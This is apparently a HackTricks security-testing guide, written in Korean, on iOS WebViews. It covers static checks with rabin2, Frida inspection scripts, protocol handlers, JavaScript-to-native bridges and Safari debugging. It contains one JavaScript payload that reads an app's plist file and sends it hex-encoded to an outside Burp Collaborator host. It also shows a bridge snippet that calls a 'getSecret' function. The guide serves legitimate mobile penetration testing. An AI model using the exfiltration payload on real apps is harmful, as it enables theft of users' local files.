iOS WebViews
Reading time: 9 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지의 코드는 여기에서 추출되었습니다. 자세한 내용은 페이지를 확인하세요.
WebViews 유형
WebViews는 애플리케이션 내에서 웹 콘텐츠를 대화형으로 표시하는 데 사용됩니다. 다양한 유형의 WebViews는 iOS 애플리케이션에 대해 서로 다른 기능과 보안 기능을 제공합니다. 간략한 개요는 다음과 같습니다:
-
UIWebView는 JavaScript 비활성화 지원 부족으로 인해 iOS 12부터 더 이상 권장되지 않으며, 이는 스크립트 주입 및 교차 사이트 스크립팅 (XSS) 공격에 취약하게 만듭니다.
-
WKWebView는 앱에 웹 콘텐츠를 통합하는 데 선호되는 옵션으로, 콘텐츠 및 보안 기능에 대한 향상된 제어를 제공합니다. JavaScript는 기본적으로 활성화되어 있지만 필요에 따라 비활성화할 수 있습니다. 또한 JavaScript가 자동으로 창을 여는 것을 방지하는 기능을 지원하며, 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 추가로, WKWebView의 아키텍처는 메모리 손상이 주요 앱 프로세스에 영향을 미칠 위험을 최소화합니다.
-
SFSafariViewController는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. WKWebView와 달리 SFSafariViewController에서는 JavaScript를 비활성화할 수 없으며, Safari와 쿠키 및 데이터를 공유하여 앱에서 사용자 개인 정보를 유지합니다. App Store 가이드라인에 따라 눈에 잘 띄게 표시되어야 합니다.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews 구성 탐색 요약
정적 분석 개요
WebViews 구성 검토 과정에서 두 가지 주요 유형에 초점을 맞춥니다: UIWebView와 WKWebView. 이 WebViews를 바이너리 내에서 식별하기 위해 특정 클래스 참조 및 초기화 메서드를 검색하는 명령이 사용됩니다.
- UIWebView 식별
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
이 명령은 이진 파일에서 관련 텍스트 문자열을 검색하여 UIWebView 인스턴스를 찾는 데 도움이 됩니다.
- WKWebView 식별
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
유사하게, WKWebView의 경우, 이 명령은 사용을 나타내는 텍스트 문자열을 이진 파일에서 검색합니다.
또한, WKWebView가 어떻게 초기화되는지를 찾기 위해, 다음 명령이 실행되며, 초기화와 관련된 메서드 시그니처를 대상으로 합니다:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript 구성 확인
WKWebView의 경우, 필요하지 않는 한 JavaScript를 비활성화하는 것이 모범 사례로 강조됩니다. 컴파일된 바이너리를 검색하여 javaScriptEnabled
속성이 false
로 설정되어 있는지 확인하여 JavaScript가 비활성화되었는지 확인합니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
오직 안전한 콘텐츠 검증
WKWebView는 UIWebView와 대조적으로 혼합 콘텐츠 문제를 식별할 수 있는 기능을 제공합니다. 이는 모든 페이지 리소스가 안전한 연결을 통해 로드되도록 보장하기 위해 hasOnlySecureContent
속성을 사용하여 확인됩니다. 컴파일된 바이너리에서의 검색은 다음과 같이 수행됩니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
동적 분석 통찰력
동적 분석은 WebView 인스턴스와 그 속성을 검사하는 것을 포함합니다. 이를 위해 webviews_inspector.js
라는 스크립트가 사용되며, UIWebView
, WKWebView
, 및 SFSafariViewController
인스턴스를 대상으로 합니다. 이 스크립트는 발견된 인스턴스에 대한 정보, URL 및 JavaScript와 보안 콘텐츠와 관련된 설정을 기록합니다.
힙 검사는 ObjC.choose()
를 사용하여 WebView 인스턴스를 식별하고 javaScriptEnabled
및 hasonlysecurecontent
속성을 확인하는 방식으로 수행할 수 있습니다.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
스크립트는 다음과 같이 실행됩니다:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
주요 결과:
- WebViews의 인스턴스가 성공적으로 위치 확인 및 검사됨.
- JavaScript 활성화 및 보안 콘텐츠 설정이 검증됨.
이 요약은 JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 중점을 두고 정적 및 동적 접근 방식을 통해 WebView 구성 분석에 관련된 중요한 단계와 명령을 요약합니다.
WebView 프로토콜 처리
WebViews에서 콘텐츠를 처리하는 것은 중요한 측면으로, http(s)://
, file://
, tel://
와 같은 다양한 프로토콜을 다룰 때 특히 그렇습니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 해줍니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일의 이름이나 경로에 영향을 미치거나 콘텐츠 자체를 편집하지 못하도록 주의해야 한다는 점이 강조됩니다.
WebViews는 콘텐츠 로딩을 위한 다양한 방법을 제공합니다. 이제 더 이상 사용되지 않는 UIWebView의 경우 loadHTMLString:baseURL:
및 loadData:MIMEType:textEncodingName:baseURL:
와 같은 메서드가 사용됩니다. 반면 WKWebView는 웹 콘텐츠를 위해 loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
, loadRequest:
를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 pathForResource:ofType:
, URLForResource:withExtension:
, init(contentsOf:encoding:)
와 같은 메서드가 활용됩니다. loadFileURL:allowingReadAccessToURL:
메서드는 특정 URL이나 디렉토리를 WebView에 로드할 수 있는 능력으로 특히 주목할 만하며, 디렉토리가 지정될 경우 민감한 데이터가 노출될 수 있습니다.
소스 코드나 컴파일된 바이너리에서 이러한 메서드를 찾기 위해 다음과 같은 명령을 사용할 수 있습니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
파일 접근에 관하여, UIWebView는 이를 보편적으로 허용하는 반면, WKWebView는 파일 URL에서의 접근을 관리하기 위해 allowFileAccessFromFileURLs
및 allowUniversalAccessFromFileURLs
설정을 도입하며, 두 설정 모두 기본값은 false입니다.
보안 설정을 검사하기 위한 WKWebView 구성의 Frida 스크립트 예제가 제공됩니다:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebViews와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 16진수 형식으로 인코딩한 후 서버로 전송하여 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Native Methods Exposed Through WebViews
Understanding WebView Native Interfaces in iOS
iOS 7부터 Apple은 WebView의 JavaScript와 네이티브 Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:
- JSContext: Swift 또는 Objective-C 블록이
JSContext
내의 식별자에 연결될 때 JavaScript 함수가 자동으로 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합 및 통신이 가능합니다. - JSExport Protocol:
JSExport
프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출할 수 있습니다. 이는 JavaScript 환경에서 이루어진 모든 변경 사항이 네이티브 환경에 반영되고 그 반대도 마찬가지임을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 우연히 노출되지 않도록 하는 것이 중요합니다.
Accessing JSContext
in Objective-C
Objective-C에서 UIWebView
의 JSContext
는 다음 코드 한 줄로 검색할 수 있습니다:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView
와의 통신
WKWebView
의 경우, JSContext
에 직접 접근할 수 없습니다. 대신, postMessage
함수를 통해 메시지 전달이 사용되어 JavaScript와 네이티브 간의 통신이 가능해집니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되어 JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있도록 합니다:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
상호작용 및 테스트
JavaScript는 스크립트 메시지 핸들러를 정의하여 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 등의 작업이 가능합니다:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
네이티브 함수 호출의 결과를 캡처하고 조작하기 위해, HTML 내에서 콜백 함수를 오버라이드할 수 있습니다:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
네이티브 측은 JavaScriptBridgeMessageHandler
클래스에서 보여준 것처럼 JavaScript 호출을 처리하며, 숫자 곱셈과 같은 작업의 결과를 처리하여 JavaScript로 다시 전송하여 표시하거나 추가 조작을 수행합니다:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebViews 디버깅
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webviews 내의 웹 콘텐츠를 효과적으로 디버깅하려면 console.log()
에 전송된 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 포함한 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간단한 가이드입니다:
-
iOS 기기 준비: iOS 기기에서 Safari 웹 검사기를 활성화해야 합니다. 이는 설정 > Safari > 고급으로 이동하여 _웹 검사기_를 활성화함으로써 수행됩니다.
-
macOS 기기 준비: macOS 개발 머신에서 Safari 내의 개발자 도구를 활성화해야 합니다. Safari를 실행하고 Safari > 환경설정 > 고급으로 접근한 후 개발 메뉴 표시 옵션을 선택합니다.
-
연결 및 디버깅: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기에서 Safari를 사용하여 디버깅할 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고 iOS 기기 이름 위에 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사할 인스턴스를 선택합니다. 이 목적을 위해 새로운 Safari 웹 검사기 창이 열립니다.
그러나 제한 사항에 유의하십시오:
- 이 방법으로 디버깅하려면 macOS 기기가 필요합니다. 이는 Safari에 의존하기 때문입니다.
- Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store 또는 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.
참고 문헌
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.